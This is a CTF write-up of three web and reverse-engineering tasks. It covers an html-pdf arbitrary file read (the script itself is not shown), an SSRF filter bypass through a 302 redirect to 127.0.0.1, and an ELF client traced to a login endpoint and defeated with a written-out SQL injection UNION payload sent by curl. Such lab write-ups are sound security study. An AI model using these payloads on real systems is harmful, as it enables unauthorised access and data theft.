Some time ago I took part in a CTF competition organized by the Foreign Intelligence Agency . Below I present a description of my solutions to some of the more interesting tasks that were available on the competition website.
On a specially prepared website, we have a form where we can upload a file, which will then be placed on the server. In addition, we also have access to the source code of the application.
Basic information on the technologies used can be found in the 'Dockerfile' file used to build Docker container images .
Here we can see that the Flask technology is used as a web application framework where the main file is defined as the 'FLASK_APP' environment variable. In addition, various libraries contained in the 'requirements.txt' file and the ' html-pdf ' library written for the Node.JS environment are used .
A few conclusions after a short analysis of the source code of the application itself:
We have defined a few file extensions that are accepted by the server (.html, .txt, .md, .jpg, .png) and an interesting function called 'convert ()' that converts our file with the extension '.html' to a file '.pdf' using the ' html-pdf ' library .
After a short analysis, I managed to find interesting information about the error that occurred some time ago in this library described as - ' Arbitrary File Read '
The script that read the flag.txt file looked like this:
After uploading the script in '.html' format and then converting the file to '.pdf' using the functionality available on the website, it allowed to read the 'flag.txt' file with the code needed to score points.
2. CheckMe
After reading the short description and checking the available page for this task, it was possible to conclude that the information needed for the completion was on a server accessible only on the intranet . The form available on the website allowed to enter any URL address that identified the HTTP or HTTPS scheme and then downloaded and displayed the content of this resource.
Also here, the source codes of the applications are available for us, from which we can learn a lot of interesting information.
Based on the above-mentioned files, we can conclude that the flag needed to complete the task is in the 'index.html' file on the web server - nginx (start.sh) listening only on the local address - '127.0.0.1' and the standard port '80' (default.conf).
Unfortunately, entering the address in the form 'http://127.0.0.1' returns the message - 'Our company network is restricted', which can also be seen in the application code.
One way to bypass this type of security is the ability to indicate a web server that will serve the HTTP 302 header so that we can redirect the request to a local address.
HTTP/1.1 302
Location: http://127.0.0.1
We can use the shodan search engine to find a server that responds like this or put our own on a public address. By pointing to a specially crafted server in the form, another flag needed to complete the task was read.
3. DBClient
In this task, we only have an attachment and a short description.
The application in the attachment had being used to connect to a company's database. After migrating to CloudFlare, the application was abandoned. Can you check if it's still usable?
We check what type of information is contained in the downloaded file.
~$ file dbclient
dbclient: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a23d41fc95ff311edd25fdbb90604df5103d8cd9, for GNU/Linux 3.2.0, stripped
We have an ELF file here, i.e. an executable file format used on Linux systems . The application accepts two parameters 'username' and 'password' which we do not know.
./dbclient
Usage: ./dbclient <username> <password>
The easiest way to find out what a program was doing was to use the strace command to trace system calls and signals used while the application was running.
sendto(4, "1\263\1\0\0\1\0\0\0\0\0\0\16secretdatabase\16pleasehackthis\4site\0\0\1\0\1", 52, MSG_NOSIGNAL, NULL, 0) = 52
Here we see a call to the sendto function which is used to communicate over stream sockets or connected datagram sockets. The application tries to connect to host 'secretdatabase.pleasehackthis.site' which returns no response ..
The next step to learn more about the analyzed application was to use the gcore command , which is used to perform application memory dump.
~$ ./dbclient admin admin | gcore -a $(pidof dbclient)
0x00007f0980bf2461 in read () from /lib/x86_64-linux-gnu/libc.so.6
warning: target file /proc/17142/cmdline contained unexpected null characters
Saved corefile core.17142
[Inferior 1 (process 17142) detached]
The generated memory dump (core.17142) can now be searched for interesting printable character sequences using the strings command .
~$ strings core.17142 | grep GET
GET /login.php?u=%s&p=%s HTTP/1.0
Performing an HTTP query with previously obtained information returned information about an invalid password for the admin user.
~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin&p=admin"
Wrong password for user admin!
The final solution to the task was to use the SQL Injection method using the following payload :
admin' AND 1=2 union select 1,'admin','81dc9bdb52d04dc20036dbd8313ed055'-- x&p=1234
~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin%27%20AND%201=2%20union%20select%201,%27admin%27,%2781dc9bdb52d04dc20036dbd8313ed055%27--%20x&p=1234"
Welcome admin! You have one message: CTF{0l0f4rt9p4yb4ck}